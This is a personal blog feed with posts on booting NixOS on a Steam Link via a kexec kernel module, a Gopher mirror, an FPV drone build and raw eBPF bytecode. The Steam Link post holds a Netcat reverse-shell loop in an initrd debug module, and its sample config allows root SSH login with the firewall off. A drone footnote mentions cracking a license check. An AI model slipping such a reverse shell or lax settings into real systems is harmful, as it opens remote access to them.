feyor.sh2026-05-31T08:38:39-05:00https://feyor.sh/George Huebnergeorge@feyor.sh<![CDATA[Infecting the Steam Link with NixOS]]>tag:feyor.sh:0eadbf0a-bf2d-4bbf-bc43-899f5f7e989fGeorge Huebner2026-09-26T00:00:00+00:002026-10-06T15:03:20-05:00While rummaging through my closet the other day I discovered a Steam Link I had bought on flash sale way back in 2018 still dutifully humming away all these years later.
It occured to me that having an always-on low power Arm device with Ethernet, WiFi, Bluetooth, and several USB ports would be handy, so thus began my journey to get NixOS running on the Steam Link.
As it turns out, a fellow named fijam already figured out the hard parts involved in running a custom Linux distro on the Steam Link.
The most notable obstacle is that the bootloader will only boot kernels signed by Valve; to get around this, we can boot into the Valve-blessed kernel and then kexec our new kernel.
However, the kernel shipped with the Steam Link was not built with CONFIG_KEXEC enabled.
This is where things get really clever: we can cobble the pertinent kexec source files into a minimal kernel module that adds the kexec syscall to the running system!
Several people have successfully used this technique to get other distros1 booting, but they all seem to have just copied the kexec binary and kernel module from fijam’s website.
fijam seems like a lovely person and all, but I’m wary of downloading kernel modules from the interwebs so I decided to compile it myself.
Booting the thing
Compiling a NixOS userspace and kernel/initrd is pretty simple; you just pass the correct system (and because I’m using __splicedPackages/crossSystem, also pkgs) to lib.nixosSystem and add your modules.
Choosing the target architecture was slightly less straightforward: Valve’s steamlink toolchain uses armv7a, but importing nixpkgs with crossSystem.config = “armv7a-unknown-linux-gnueabihf” interacts poorly with the Go build plumbing, so I used the (seemingly) equivalent armv7l instead.
Nix
{
inputs.nixpkgs.url ="github:NixOS/nixpkgs/nixos-unstable";
outputs = { self, nixpkgs }:
letinherit (nixpkgs) lib;
system ="armv7l-linux";
# hostSystem should be linux but does not have to be arm (x86 should work) hostSystem ="aarch64-linux";
pkgs = (import nixpkgs {
system = hostSystem;
crossSystem = {
config ="armv7l-unknown-linux-gnueabihf";
};
}).__splicedPackages;
in {
nixosConfigurations.steamlink = lib.nixosSystem {
inherit system pkgs;
modules = [
# ... ];
};
};
}
The real challenge is compiling a kernel module for a vendored fork of a 13 year old kernel; the NixOS wiki is actually pretty helpful here and points out some footguns related to the default hardening flags in stdenv.
Nix
kexecMod =letinherit (pkgs) stdenv;
inherit (self.nixosConfigurations.steamlink.config.system.build) kernel oldKernel;
in stdenv.mkDerivation {
pname ="kexec_mod";
version ="0.0.1";
src =./kexec_mod;
postPatch =''
for f in machine_kexec.c kexec.c relocate_kernel.S; do
substituteInPlace "$f" --subst-var-by KERNEL ${oldKernel} done
'';
nativeBuildInputs = kernel.moduleBuildDependencies;
makeFlags = [
"ARCH=${stdenv.hostPlatform.linuxArch}""CROSS_COMPILE=${stdenv.cc.targetPrefix}""KDIR=${oldKernel}""INSTALL_MOD_PATH=$(out)" ];
env.NIX_CFLAGS_COMPILE =toString [
"-std=gnu89""-fno-pie" ];
inherit (kernel) hardeningDisable;
meta = {
description ="kexec functionality as a kernel module for old kernels";
homepage ="https://github.com/lukas2511/steamlink-sdk";
license = lib.licenses.gpl2;
platforms = [ system ];
};
};
In order to get this to build we need to point Kbuild to a Linux kernel checkout that has been built with make modules2.
(Note that I’m using the moduleBuildDependencies attribute of the comparatively modern kernel from my NixOS configuration.)
It took several hacks to get things building on a modern version of GCC, but eventually I was able to get the 3.8.13-mrvl kernel and the kexec_mod kernel module building.
Now that we have kexec_mod.ko, we need our new initrd and kernel (both come from our NixOS config), the device tree blob for the Steam Link (which has been upstreamed to Linux so we can get it from hardware.deviceTree.package), a copy of the kexec userland binary (compiled with pkgsStatic so we can run it on non-NixOS), and a small script to tie everything together:
Bash
fts-set steamlink.crashcounter 0# required to prevent factory reset after a few rebootsmkdir -p /mnt/disk/proc /mnt/disk/sys /mnt/disk/dev
mount -t proc proc /mnt/disk/proc
mount -o rbind /sys /mnt/disk/sys
mount -o rbind /dev /mnt/disk/dev
insmod /mnt/disk/kexec_load.ko
chroot /mnt/disk/ /kexec --load /zImage \
--initrd /initrd \
--dtb /berlin2cd-valve-steamlink.dtb \
--command-line "init=/init root=/dev/sda2 rootwait rw usbcore.autosuspend=-1"chroot /mnt/disk/ /kexec -e
You could juggle these files manually and upload them to a USB drive yourself, but it’s much easier to use the sd-image NixOS module to create a disk image instead:
Nix
usb-image = { modulesPath, config,... }: {
imports = [
(modulesPath +"/installer/sd-card/sd-image.nix")
];
image.extension = lib.mkForce "img";
sdImage =let dtb ="berlin2cd-valve-steamlink.dtb";
kexecScript =./kexec-nixos;
inherit (config.system.build) kernel initialRamdisk;
in {
compressImage = false;
firmwarePartitionName ="STEAMLINK";
rootVolumeLabel ="NIXOS";
populateFirmwareCommands =''
pushd firmware
files=(
${kernel}/${config.system.boot.loader.kernelFile}${initialRamdisk}/${config.system.boot.loader.initrdFile}${config.hardware.deviceTree.package}/${dtb}${self.packages.${system}.kexecMod}/lib/modules/3.8.13-mrvl/extra/kexec_load.ko
${pkgs.pkgsStatic.kexec-tools}/bin/kexec
)
for f in ''${files[@]}; do
cp $f ./
done
# factory_test/run.sh will run before this has a chance to
# enable ssh; uncomment if not booting straight into NixOS
# mkdir -p steamlink/config/system
# touch steamlink/config/system/enable_ssh.txt
mkdir -p steamlink/factory_test
cp ${kexecScript} steamlink/factory_test/run.sh
popd
'';
populateRootCommands ="";
};
};
Testing that the kexec handoff works was really tricky because the HDMI output doesn’t work with the kernel I’m using, and since I decided not to open up the device to get at the UART I was flying completely blind.
I decided to test with a minimal (slop) Busybox-based initramfs that rebooted after a variable amount of time to indicate success.
Nix
initramfs = pkgs.buildPackages.runCommand "build-initramfs" {}
''
mkdir initramfs; cd initramfs
mkdir -pv {etc,proc,sys,usr/{bin,sbin}}
cp -a ${pkgs.pkgsStatic.busybox}/{bin,sbin} .
chmod 755 ./{bin,sbin}
cat <<EOF > init
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mkdir -p /mnt
try_mount() {
dev="$1"
fs="$2"
if [ "$fs" = auto ]; then
mount -o rw "$dev" /mnt 2>/dev/null || return 1
else
mount -t "$fs" -o rw "$dev" /mnt 2>/dev/null || return 1
fi
marker=kexec-mounted-ok
if [ -f /mnt/zImage ]; then
marker=kexec-steamlink-ok
fi
{
echo "device=$dev"
echo "fs=$fs"
cat /proc/partitions
} > "/mnt/$marker" 2>/dev/null && sync
umount /mnt
sleep 10
reboot -f
}
for dev in /dev/mmcblk*p* /dev/sd[a-z][0-9]* /dev/vd[a-z][0-9]*; do
[ -b "$dev" ] || continue
try_mount "$dev" vfat
try_mount "$dev" ext4
try_mount "$dev" auto
done
sleep 45
reboot -f
EOF
chmod +x init
find . -print0 | ${lib.getExe pkgs.buildPackages.cpio} --null -ov --format=newc > $out
'';
Once I knew that worked, I switched to the NixOS initrd with boot.initrd.network.enable = true and used a Netcat based reverse shell to my laptop’s IP for further debugging.
Nix
debugModule = { lib,... }: {
boot.initrd.systemd.enable = lib.mkForce false;
boot.initrd.kernelModules = [ "pxa168_eth" ];
boot.initrd.availableKernelModules = [ "reset_berlin" ];
boot.initrd.network.enable = true;
boot.initrd.network.udhcpc.enable = false;
boot.kernelParams = [
"ip=192.168.2.2::192.168.2.1:255.255.255.0:stm-link:eth0:off" ];
boot.initrd.network.postCommands =''
mac_peer=192.168.2.1
stm_link_ip=192.168.2.2
echo "initrd net debug: interfaces: $(ls /sys/class/net)" > /dev/kmsg
for iface_path in /sys/class/net/*; do
iface="''${iface_path##*/}"
[ "$iface" != lo ] || continue
echo "initrd net debug: configuring $iface" > /dev/kmsg
ip link set dev "$iface" up || true
ip address flush dev "$iface" || true
ip address add "$stm_link_ip/24" dev "$iface" || true
done
(
while true; do
ping -c 1 -W 1 "$mac_peer"
sleep 2
done
) &
(
while true; do
rm -f /tmp/revsh
mkfifo /tmp/revsh
/bin/ash -i < /tmp/revsh 2>&1 | nc "$mac_peer" 4444 > /tmp/revsh
rm -f /tmp/revsh
sleep 2
done
) &
'';
};
The main things I needed to figure out at this stage were adding reset_berlin to boot.initrd.availableKernelModules to allow reading from the USB drive and using the old NixOS initrd system in lieu of the new systemd-based version (boot.initrd.systemd.enable = lib.mkForce false).
Finally I was able to boot into userspace and connect over SSH! π₯³
That having been said, the USB image I was booting from was weighing in at a hefty 2.3GB… surely we can do better.
Trimming the fat
I was surprised that there wasn’t a definitive guide for reducing NixOS closure sizes; I found some NixOS Discourse questions and a few blog posts, but the most useful writeups were NixOS is a good server OS, except when it isn’t and I can haz smoller NixOS ISOs?.
Those are good resources, but because we’re targeting actual hardware instead of a VM we must necessarily be more conservative in what we cut.
Here are the main things that came up during the slim-ening:
We only need one firmware blob from the massive linux-firmware package (1.8GB compressed!), so we can save a huge amount of space by only adding that blob to hardware.firmware
On a similar note it should be possible to use a kconfig tailored for the Steam Link hardware to build a smaller kernel, but this seemed like more trouble than it was worth
OpenSSH does not seem to like it when i18n.glibcLocales or the security.wrappers module are removed
The kexec boot flow renders most of the NixOS system administration utilities irrelevant; as a matter of fact, Nix itself is not very useful on such a system, so we can save space by getting rid of that too
I feel like it should be possible to disable boot.initrd and boot.kernel because we provide the kernel/initrd/DTB from the FAT32 partition when we kexec, but I was never able to disable these without breaking the boot process
If I could switch to the systemd-based initrd I could enable the “perlless” NixOS module to remove Perl from the system closure for additional savings
After reaching a point of diminshing returns and most new changes breaking my system, I declared the 1.2GB disk image I had to be “good enough”.
Files
The Nix flake I used and the source for the kexec_mod kernel module can be downloaded here.
The same flake.nix is reproduced below for your convenience.
Nixflake.nix
{
inputs.nixpkgs.url ="github:NixOS/nixpkgs/nixos-unstable";
outputs = { self, nixpkgs }:
letinherit (nixpkgs) lib;
system ="armv7l-linux";
# hostSystem should be linux but does not have to be arm (x86 should work) hostSystem ="aarch64-linux";
pkgs = (import nixpkgs {
system = hostSystem;
crossSystem = {
config ="armv7l-unknown-linux-gnueabihf";
};
overlays = [
# https://github.com/NixOS/nixpkgs/issues/388309 (self: super: {
efivar = self.emptyDirectory;
efibootmgr = self.emptyDirectory;
})
];
}).__splicedPackages;
in {
nixosModules = {
# https://sidhion.com/blog/nixos_server_issues# https://discourse.nixos.org/t/how-to-have-a-minimal-nixos/22652/4 minimal = { modulesPath, pkgs,... }: {
imports = [
(modulesPath +"/profiles/minimal.nix")
(modulesPath +"/profiles/headless.nix")
];
disabledModules = [
(modulesPath +"/profiles/base.nix")
];
boot.loader = {
grub.enable = false;
systemd-boot.enable = false;
supportsInitrdSecrets = false;
};
# systemd initrd did not work for me; you could add the perlless profile if you got it working boot.initrd.systemd.enable = lib.mkForce false;
boot.initrd.availableKernelModules = lib.mkForce [
"reset_berlin""uas" ];
boot.kernelModules = [
"pxa168_eth""mwifiex_sdio""btmrvl_sdio" ];
hardware.firmware = lib.mkForce (with pkgs; [
(runCommand "marvell-firmware" {} ''
mkdir -p $out/lib/firmware/mrvl
cp ${linux-firmware}/lib/firmware/mrvl/sd8897_uapsta.bin $out/lib/firmware/mrvl/
'')
wireless-regdb
]);
documentation.enable = false;
programs.command-not-found.enable = lib.mkDefault false;
networking.networkmanager.enable = false;
networking.firewall.enable = false;
xdg.icons.enable = false;
xdg.mime.enable = false;
xdg.sounds.enable = false;
fonts.fontconfig.enable = false;
programs.nano.enable = false;
system.disableInstallerTools = true;
system.switch.enable = false;
system.nixos-init.enable = false;
nix.enable = false;
systemd.services.register-nix-paths = lib.mkForce {};
};
usb-image = { modulesPath, config,... }: {
imports = [
(modulesPath +"/installer/sd-card/sd-image.nix")
];
# in theory it should be possible to disable the kernel# and initrd for the nixos rootfs for some significant# space savings (because we're passing a copy of the# kernel and initrd from the STEAMLINK partition to kexec# directly, but in practice I never got that working) boot.kernelParams = [
"root=/dev/disk/by-label/${config.sdImage.rootVolumeLabel}""rootwait""rw""usbcore.autosuspend=-1" ];
image.extension = lib.mkForce "img";
sdImage =let dtb ="berlin2cd-valve-steamlink.dtb";
kexecScript = pkgs.buildPackages.writeScript "kexec-nixos"''
#!/bin/sh
fts-set steamlink.crashcounter 0
mkdir -p /mnt/disk/proc /mnt/disk/sys /mnt/disk/dev
mount -t proc proc /mnt/disk/proc
mount -o rbind /sys /mnt/disk/sys
mount -o rbind /dev /mnt/disk/dev
insmod /mnt/disk/kexec_load.ko
chroot /mnt/disk/ /kexec --load /zImage \
--initrd /initrd \
--dtb /berlin2cd-valve-steamlink.dtb \
--command-line "init=${config.system.build.toplevel}/init ${toString config.boot.kernelParams}"
chroot /mnt/disk/ /kexec -e
'';
inherit (self.packages.${system}) kernel initialRamdisk;
in {
compressImage = false;
firmwarePartitionName ="STEAMLINK";
rootVolumeLabel ="NIXOS";
populateFirmwareCommands =''
pushd firmware
files=(
${kernel}/${config.system.boot.loader.kernelFile}${initialRamdisk}/${config.system.boot.loader.initrdFile}${config.hardware.deviceTree.package}/${dtb}${self.packages.${system}.kexecMod}/lib/modules/3.8.13-mrvl/extra/kexec_load.ko
${pkgs.pkgsStatic.kexec-tools}/bin/kexec
)
for f in ''${files[@]}; do
cp $f ./
done
# factory_test/run.sh will run before this has a chance to
# enable ssh; uncomment if not booting straight into NixOS
# mkdir -p steamlink/config/system
# touch steamlink/config/system/enable_ssh.txt
mkdir -p steamlink/factory_test
cp ${kexecScript} steamlink/factory_test/run.sh
popd
'';
populateRootCommands ="";
};
};
};
nixosConfigurations.steamlink = lib.nixosSystem {
inherit system pkgs;
modules = [
self.nixosModules.minimal
self.nixosModules.usb-image
({ ... }: {
# your NixOS config here! services.tailscale.enable = true;
services.openssh = {
# might be able to remove security wrappers if using static openssh# see https://sidhion.com/blog/nixos_server_issues#:~:text=While%20looking%20through%20the%20lvm%20stuff# package = pkgs.pkgsStatic.openssh; enable = true;
settings = {
PermitRootLogin ="yes";
};
};
users.users.root.openssh.authorizedKeys.keys = [ "..." ];
hardware.bluetooth.enable = true;
networking = {
hostName ="steamlink";
useDHCP = true;
interfaces.eth0 = {
useDHCP = true;
# prefer DHCP but use a static IP for debugging over a direct ethernet serial line to your host machine ipv4.addresses = [{
address ="169.254.31.216";
prefixLength =16;
}];
};
wireless = {
enable = true;
networks = {
"WiFi"= {
psk ="hunter2";
};
};
};
};
})
];
};
packages.${system}= {
inherit (self.nixosConfigurations.steamlink.config.system.build) kernel initialRamdisk sdImage;
default = self.packages.${system}.sdImage;
oldKernel =letinherit (pkgs) stdenv fetchFromGitHub buildPackages fetchpatch writeText;
inherit (self.packages.${system}) kernel;
in stdenv.mkDerivation {
pname ="linux-steamlink";
version ="3.8.13";
src = fetchFromGitHub {
owner ="ValveSoftware";
repo ="steamlink-sdk";
rootDir ="kernel";
rev ="62b4d098d1472c3534dd098ca2a0e0e10712f1c6";
hash ="sha256-3Q8JjNmkRFCkdt8E+ol+E/c2sy+X5I7UYhsHAfYBdWs=";
};
sourceRoot ="source";
patches = [
(fetchpatch {
url ="https://gitlab.com/postmarketOS/pmaports/-/raw/aa289aa350071e6afc54f6b6704ba28971b50466/device/.shared-patches/linux/linux3.4-ARM-8933-1-replace-Sun-Solaris-style-flag-on-section.patch";
hash ="sha256-KRNI4070H0AFMCZl7pYnIbin6lbp68/xuf6yOPvmYdI=";
})
(fetchpatch {
url ="https://gitlab.com/postmarketOS/pmaports/-/raw/aa289aa350071e6afc54f6b6704ba28971b50466/device/.shared-patches/linux/gcc10-extern_YYLOC_global_declaration.patch";
hash ="sha256-9hq5xGeJRL/ESHofOh4MAOAGV2IlDRYvvpxyxk3MXlw=";
})
(writeText "0001-gcc-bug85745.diff"''
diff --git a/arch/arm/include/asm/uaccess.h b/arch/arm/include/asm/uaccess.h
index 74b17d0..dc64fa2 100644
--- a/arch/arm/include/asm/uaccess.h
+++ b/arch/arm/include/asm/uaccess.h
@@ -164,7 +164,7 @@
#define __put_user_check(x,p)''\t''\t''\t''\t''\t''\t''\t${"\\"}''\t({''\t''\t''\t''\t''\t''\t''\t''\t${"\\"}''\t''\tunsigned long __limit = current_thread_info()->addr_limit - 1; ${"\\"} -''\t''\tregister const typeof(*(p)) __r2 asm("r2") = (x);''\t${"\\"} +''\t''\tregister typeof(*(p)) __r2 asm("r2") = (x);''\t${"\\"}''\t''\tregister const typeof(*(p)) __user *__p asm("r0") = (p);${"\\"}''\t''\tregister unsigned long __l asm("r1") = __limit;''\t''\t${"\\"}''\t''\tregister int __e asm("r0");''\t''\t''\t''\t${"\\"} '')
];
postPatch =''
substituteInPlace arch/arm/boot/compressed/piggy.xzkern.S --replace-fail '#alloc' ' "a"'
substituteInPlace arch/arm/mach-berlin/Makefile.boot --replace-fail '/bin/bash' '${stdenv.shell}'
substituteInPlace arch/arm/boot/compressed/Makefile --replace-fail '${"\t"}@$(check_for_multiple_zreladdr)' '${"\t"}echo LDFLAGS_vmlinux = ''${LDFLAGS_vmlinux}${"\n\t"}@$(check_for_multiple_zreladdr)'
cp include/linux/compiler-gcc4.h include/linux/compiler-gcc${lib.versions.major buildPackages.stdenv.cc.version}.h
'';
inherit (kernel) nativeBuildInputs;
depsBuildBuild = [
buildPackages.stdenv.cc
];
makeFlags = [
"ARCH=${stdenv.hostPlatform.linuxArch}""LOCALVERSION=-mrvl""CROSS_COMPILE=${stdenv.cc.targetPrefix}" ];
env.NIX_CFLAGS_COMPILE =toString [
"-std=gnu89""-Wno-error=address""-Wno-error=dangling-pointer""-Wno-error=missing-attributes" ];
inherit (kernel) hardeningDisable;
configurePhase =''
make bg2cd_penguin_mlc_defconfig $makeFlags
echo "CONFIG_KEXEC=y" >> .config
echo "CONFIG_KERNEL_XZ=y" >> .config
make olddefconfig $makeFlags
'';
postBuild =''
make modules $makeFlags -j$NIX_BUILD_CORES
'';
installPhase =''
mkdir $out
cp -r * $out/
'';
dontFixup = true;
};
kexecMod =letinherit (pkgs) stdenv;
inherit (self.packages.${system}) kernel oldKernel;
in stdenv.mkDerivation {
pname ="kexec_mod";
version ="0.0.1";
src =./kexec_mod;
postPatch =''
for f in machine_kexec.c kexec.c relocate_kernel.S; do
substituteInPlace "$f" --subst-var-by KERNEL ${oldKernel} done
'';
nativeBuildInputs = kernel.moduleBuildDependencies;
makeFlags = [
"ARCH=${stdenv.hostPlatform.linuxArch}""CROSS_COMPILE=${stdenv.cc.targetPrefix}""KDIR=${oldKernel}""INSTALL_MOD_PATH=$(out)" ];
env.NIX_CFLAGS_COMPILE =toString [
"-std=gnu89""-fno-pie" ];
inherit (kernel) hardeningDisable;
meta = {
description ="kexec functionality as a kernel module for old kernels";
homepage ="https://github.com/lukas2511/steamlink-sdk";
license = lib.licenses.gpl2;
platforms = [ system ];
};
};
};
};
}
I cut my teeth on using Nix to cross compile Linux at Recurse Center. If you want to program at the edge of your abilities, consider applying.
Right before I published this I discovered someone else had vibed their way to a bootable NixOS install, although their config is more _slop_py, doesn’t handle reboots correctly, and uses a bunch of unnecessary binary blobs instead of building from source. ↩︎
Although using make modules_prepare lets us build successfully, the resulting kernel module will not have the right vermagic and symbol addresses and will not be accepted by insmod:
NOTE: “modules_prepare” will not build Module.symvers even if CONFIG_MODVERSIONS is set; therefore, a full kernel build needs to be executed to make module versioning work.
]]><![CDATA[To you from the WWW]]>tag:feyor.sh:38bc9991-bf07-40fc-94d7-ced7dae4827eGeorge Huebner2026-05-11T00:00:00+00:002026-05-11T06:49:36-05:00If you’re reading this, it means you’re accessing my blog from the world wide web.
That’s cool and all, but have you heard of this thing called Gopher?
If I’ve piqued your interest, you might want to checkout the mirror of my blog at gopher.feyor.sh (gopher://gopher.feyor.sh).
There’s not complete feature parity with the HTML version, but I’m quite happy with how it turned out.
Just a heads up that I use ANSI escape codes very liberally for code blocks and such, but not all Gopher clients like that (if you know me, I’m sure you can hazard a guess as to what Gopher client I’m using).
Also, I assume some more basic clients will choke on CJK characters; all that is to say YMMV.
]]><![CDATA[So I built a drone]]>tag:feyor.sh:e9ec88bd-16e5-4743-b760-4e424ffe8206George Huebner2026-05-01T00:00:00+00:002026-05-05T00:31:22-05:00I’ve been contemplating getting into FPV since I was in high school, but since I lived in Chicago at the time (and I didn’t own a car) there weren’t many places for me to fly a racing drone.
But once I moved to the cornfields I didn’t have an excuse, so after finding a decent deal on a pair of Fatshark goggles (and then procrastinating for 2 years) I finally decided to commit to building a drone for freestyle (and maybe racing too I guess?).
I’m honestly not sure why I find FPV appealing since I’m not an adrenaline junkie and I have no interest in recreational aircraft, but I can definitely say that this was (and will continue to be) a really fun project!
Also, I feel a bit proud as this was my first “real” hardware project that didn’t get completely botched1; being able to practice soldering and proving to myself that electronics aren’t so daunting after all were honestly much more valuable to me than the drone itself.
Part list
I’m sure I made some pretty silly decisions a seasoned hobbyist would avoid (something something Amdahl’s law), but I wanted to take a crack at sourcing the parts myself.
I ordered several parts that were subtly incompatible with my build and had to make quite a few returns, so if I were to do this again I would probably buy a kit instead—it would likely be cheaper and someone more knowledgeable than I would have already verified that the parts all synergize nicely.
In addition to the parts listed here I also spent ~$80 on a Pinecil, solder, wire, Kapton tape, Alien tape, various adapters, a smoke stopper, and an ST-Link USB dongle.
Build
I loosely followed one of Joshua Bardwell’s excellent FPV drone builds and consulted the various manufacturer manuals to get everything wired up correctly.
For getting software/firmware setup, the ELRS and Betaflight docs were also invaluable.
The hardest part for me was all the soldering, as I was quite inexperienced.
I had some perfboard and spare resistors lying around, so I practiced soldering components on and then taking them off, tinning and joining wires, and using flux and a desoldering braid.
Even though there was not a single through-hole component in the soldering I did for the drone, getting comfortable beforehand with a soldering iron was invaluable for the real deal and I HIGHLY recommend doing so for anyone who isn’t already proficient in soldering.
I don’t have any action shots, so just imagine an incredibly cluttered desk with a bunch of screws and dried up solder globs strewn over the place.3
Letting ’er rip
Before attaching a single prop (or perhaps even before buying most of the parts besides the controller) you should get at least a few hours under your belt in a flight sim like VelociDrone.
This is a very idealized version of drone flying (negligible wind, perfect signal, sitting at your desk instead of standing in a field) but in addition to getting some much needed practice, this is a good test to see if you’re actually interested in FPV drones without sinking a few hundred bucks into one.
I still don’t really know what the ideal flying spot looks like because public parks tend to have lots of people (which makes a novice pilot like myself somewhat nervous) and most other locations are on private property, but a bit of advice is to not fly near government/police compounds4.
I’m (thankfully) not speaking from experience on this one but it seems like a good call to make.
Also, I want to give a huge shout-out to my roommate Richard for nagging me to get this project across the finish line, joining me as another FPV pilot, and serving as chauffeur transport.
Attempt 0: Sanity check
As an integration test of sorts, I took the drone in front of my apartment for a mock flight.
A few seconds after arming the drone, I heard a strange sound and one of the motors violently separated itself from the frame.
As I inspected the damage I realized I had pulled a Boeing: not only had I secured the motors with only two screws instead of four, I hadn’t tightened any of them!
Honestly, it was more surprising that only one motor detached.
But loose screws notwithstanding, all systems were nominal—it was time for a real flight!
Attempt 1: Maiden flight
After perennially being “just one small thing” away from flying the drone, the day had finally come to actually get the damn thing in the air.
I get the drone off the ground and… my video immediately turned into a sea of static.
It was not “just like the simulations”
Turns out I had turned my VTX power way down to prevent the VTX from overheating during the build, but I had forgotten to set it back to a reasonable value.
There’s a way you can flick the sticks to change settings via the on screen display but I couldn’t find the VTX menu (it didn’t help that the OSD was completely illegible).
That having been said, it’s entirely possible I didn’t configure SmartAudio properly.
Attempt 2: With video this time
After cranking the VTX power back up to a reasonable value, we headed to a more secluded piece of farmland where we didn’t have to worry about pedestrians or cars.
I tried putting my goggles on only to realize I had forgotten to wear contacts; one way or another I was still flying half blind.
Due to aforementioned lack of vision and accidentally getting some magnetic gravel jammed in one of the motors5, this was a short-lived excursion.
Attempt 3: Accidentally creating a bomb
By this point I had a checklist for everything I needed to go out flying: batteries charged, hex screwdriver, contacts on.
We returned to the same field from last time, and although the landscape wasn’t exactly diverse, for the first time I was actually able to get some good flying in!
Some rolls, flips, and yes, even landing the drone instead of crashing it.
Figure 1: Richard locked tf in
However, due to my carelessness in not securing the balance charge lead on the LiPO, it got caught in a prop and started shorting when I picked it up οΌγΠγοΌ
So although that led to a stressful car ride back to our apartment with me ready to throw our unintentional ordnance out the window, I would consider this mission success!
Retrospective
Some parting words of wisdom to hopefully save someone some of the trouble I went through:
Choose digital
A fairly big misstep I made was assuming that the drone build advice I gathered back in 2018 was still relevant: a decent chunk of it was, but I had no idea how far digital video for FPV had progressed (both in cost and quality).
Technically I don’t have an informed opinion having never flown with digital, but from everything I hear the quality is really just that much better than analog (and I think any difference in latency is probably not very perceptible to an inexperienced pilot like myself).
I’m generally not a fan of buying into proprietary systems, but I’m also a pragmatist—at least for me, shelling out the extra $100–200 for dramatically better video quality probably would have been worth it.
RTFM
I wasted countless hours going down rabbit holes or worrying that my equipment was broken when that could have been avoided by spending 5 minutes reading a manual.
For example, I spent an inordinate amount of time buying and soldering on a JST connector to the 3 wires sticking out of my Fatshark LiPO battery only for me to realize those 3 wires are in fact not for a balance plug but instead meant to power the fan on the goggles.
D’oh!
Have fun!
Instead of constantly worrying that you’re going to crash the drone or make an expensive mistake, I think you just have to embrace that mistakes are inevitable and part of the experience (plus, if you built the drone yourself you can easily repair individual parts relatively cheaply).
And if never putting your drone in a situation where it might crash is what helps you enjoy flying, you should do so; who am I to tell you how to fly your drone?
The irony that I finished this project and then proceeded to go work on knocking drones out of the sky is not lost on me.
At least I had a head start! ↩︎
I was a bit impatient and assumed this shop was dead so I cracked the license check, but the owner responded after a few days.
Given the low price and the (surprisingly) good quality of the software I would highly recommend buying this! ↩︎
It’s actually quite important that you clean these up, as they can cause a short! ↩︎
This goes doubly if you don’t have Remote ID. Hypothetically, of course. ↩︎
According to Reddit you should use compressed air to handle this, but I alternated scraping it out with my fingers and flooring the throttle (with no props). ↩︎
]]><![CDATA[eBPF on Hard Mode]]>https://feyor.sh/blog/ebpf-on-hard-mode/George Huebner2026-02-19T00:00:00+00:002026-10-06T14:49:00-05:00A while back I was messing around with eBPF and I couldn’t find any good materials on using BPF without libbpf/LLVM/GCC (i.e. rawdogging bytecode), so here’s the resource I wished I had.
I’ll be using Linux version 6.18 in this post; eBPF moves pretty fast and the verifier gets smarter with every release, so the information in this post might be out of date when you read this.
In conjunction with this post, I would recommend reading the documentation (especially to supplement parts that might be confusing):
ebpf.io docs (for maps, program types, helpers/KFuncs)
eBPF Hello World
Linux exposes eBPF functionality to user space through the bpf syscall, whose functionality is split into several subcommands.
The basic flow of eBPF is to create an array of eBPF bytecode instructions, pass it to the BPF_PROG_LOAD subcommand along with a program type (e.g. socket filter), and then attach it to the corresponding resource (like a socket or a kprobe).
Zig
const std =@import("std");
const linux = std.os.linux;
const posix = std.posix;
const BPF = linux.BPF;
const AF = linux.AF;
const SOCK = linux.SOCK;
const SOL = linux.SOL;
const SO = linux.SO;
pubfnmain() !void {
const insns = [_]BPF.Insn{
// drop everything after the first 4 bytes
.mov(.r0, 4),
.exit(),
};
var verifier_log: [0x10000]u8=undefined;
var log = BPF.Log{ .buf =&verifier_log, .level =2 };
const progfd =try BPF.prog_load(.socket_filter, &insns, &log, "GPL v2"2, 0, 0);
std.debug.print("BPF Verifier output:\n{s}", .{std.mem.sliceTo(&verifier_log, 0)});
var socks: [2]linux.fd_t =undefined;
switch (posix.errno(linux.socketpair(AF.UNIX, SOCK.DGRAM, 0, &socks))) {
.SUCCESS => {},
else=>|e|return posix.unexpectedErrno(e),
}
switch (posix.errno(linux.setsockopt(socks[0], SOL.SOCKET, SO.ATTACH_BPF, std.mem.asBytes(&progfd), 4))) {
.SUCCESS => {},
else=>|e|return posix.unexpectedErrno(e),
}
const input ="Hello";
_ =try posix.write(socks[1], input);
var buf: [input.len]u8=undefined;
const n_read =try posix.read(socks[0], &buf);
std.log.info("Sent '{s}', received '{s}'", .{ input, buf[0..n_read] });
}
A socket filter is the OG type of eBPF program (and the namesake for BPF), but in addition to high performance packet filtering, eBPF can be used for syscall tracing, perf counter monitoring, security policy enforcement, and everything in between (BPF_PROG_TYPE_XDP programs can even be offloaded to run directly on the NIC, bypassing the kernel entirely3).
Now is a good time to mention that there are many restrictions on how unprivileged users (i.e. processes without CAP_SYS_ADMIN or CAP_BPF) can interact with eBPFβas there should be, because a verified eBPF program runs with more or less the same privileges as a kernel module.
The restrictions that I know of (not exhaustive) are as follows:
Programs are limited to 4096 instructions
There are 79 types of eBPF programs4, but regular users are only allowed to use socket filters and cgroup socket buffers
Even for processes with CAP_BPF, many program types are gated behind CAP_NET_ADMIN and/or CAP_PERFMON
Arithmetic with constant values in registers is changed to use those constants directly (ALU sanitation)5
Dead code is turned into ja -1 to force either an infinite loop or exit instead of potentially executing beyond the bounds of the program
Clearly a lot of the more interesting stuff is beyond the reach of unprivileged users, so I will henceforth be assuming that our process has CAP_BPF, CAP_NET_ADMIN and CAP_PERFMON (although not root).
Passing data between kernel and user space
eBPF maps are data structures used for sharing data between eBPF programs and user space (or other eBPF programs).
Contrary to the name, there are more types of eBPF maps than just hashmaps, and eBPF maps are also used for other purposes like storing string constants.
To demonstrate usage of eBPF maps, let’s write a simple eBPF program that drops a packet if it contains the substring “foobar”.
The strncmp helper function looks like it could be useful, but it’s a little unclear what the eBPF equivalent of a char * is.
Let’s check the source:
Arguments 1 and 2 are self-explanatory, but what about argument 3?
Further inspection reveals that ARG_PTR_TO_CONST_STR is checked by the function check_reg_const_str, which ensures that a register points to an element (a null-terminated string) of a read-only eBPF map.
info: Sent 'foo', received 'foo'
info: Sent 'bar', received 'bar'
info: Sent 'foobar', received ''
info: Sent 'fooba', received 'fooba'
info: Sent 'snafu', received 'snafu'
info: Sent 'ffoobarbaz', received ''
info: Sent 'bazbarfoo', received 'bazbarfoo'
Type information (BTF)
Even though the eBPF verifier uses type information extensively to prove correctness of a program, almost all eBPF instructions don’t encode type information (besides integer width), so how do we represent types in eBPF?
That’s where BTF (BPF type format) comes in.
It’s described as a format that “encodes the debug info related to BPF program/map,” but in my opinion this is misleading as it encodes information useful for debugging and information that is used by the eBPF verifier to check that your program is valid.
